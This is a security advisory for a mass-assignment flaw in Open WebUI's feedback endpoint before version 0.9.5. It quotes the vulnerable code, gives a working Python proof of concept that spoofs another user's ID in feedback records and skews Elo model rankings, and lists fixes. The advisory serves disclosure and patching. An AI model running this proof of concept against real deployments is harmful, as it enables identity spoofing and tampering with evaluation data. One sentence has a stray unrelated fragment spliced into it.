| Package | Affected versions | Patched versions |
|---|---|---|
| open-webui | < 0.9.5 | 0.9.5 |
| open webui | < 0.9.5 | 0.9.5 |
The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.
The vulnerability exists in two layers:
File: backend/open_webui/models/feedbacks.py, lines 148–160
async def insert_new_feedback(
self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
async with get_async_db_context(db) as db:
id = str(uuid.uuid4())
feedback = FeedbackModel(
**{
'id': id,
'user_id': user_id, # ← Server-set from auth token
'version': 0,
**form_data.model_dump(), # ← OVERWRITES 'id', 'user_id', 'version'
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)
In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form_data.model_dump() appears after 'user_id': user_id, any user_id field in the form data overwrites the authenticated user's ID.
extra='allow' on Request FormFile: backend/open_webui/models/feedbacks.py, line 106
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fields
The extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user_id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.
Other models in the same codebase use the correct ordering. For example, , line 120:
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Scan my site freebackend/open_webui/models/functions.pyfunction = FunctionModel(**{
**form_data.model_dump(), # ← Spread FIRST
'user_id': user_id, # ← Server value AFTER → always wins
})
And ModelForm at backend/open_webui/models/models.py uses extra='ignore', which is the strictest approach.
An attacker can create feedback records attributed to any user by specifying their user_id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user_id as the feedback author.
The Elo rating system at backend/open_webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:
By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.
import requests
BASE_URL = "http://localhost:8080"
# 1. Login as attacker
session = requests.Session()
login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={
"email": "[email protected]",
"password": "attackerpass"
})
token = login_resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
# 2. Create feedback attributed to a different user (victim)
VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"
resp = session.post(
f"{BASE_URL}/api/v1/evaluations/feedback",
headers=headers,
json={
"type": "rating",
"data": {
"model_id": "gpt-4o",
"rating": 1,
"sibling_model_ids": ["claude-3-opus"],
},
# Mass assignment: these extra fields are accepted due to extra='allow'
# and overwrite server-set values due to dict merge order
"user_id": VICTIM_USER_ID, # Overwrites authenticated user ID
"version": 999, # Overwrites default version
}
)
feedback = resp.json()
print(f"Feedback created with user_id: {feedback['user_id']}")
# Expected: attacker's own user_id
# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!"
CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
feedback = FeedbackModel(
**{
**form_data.model_dump(), # Spread FIRST
'id': id, # Server values AFTER (always win)
'user_id': user_id,
'version': 0,
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)
extra='allow' from FeedbackForm (recommended)class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='ignore') # Reject unexpected fields
feedback = FeedbackModel(
id=str(uuid.uuid4()),
user_id=user_id,
version=0,
type=form_data.type,
data=form_data.data.model_dump() if form_data.data else {},
meta=form_data.meta or {},
snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},
created_at=int(time.time()),
updated_at=int(time.time()),
)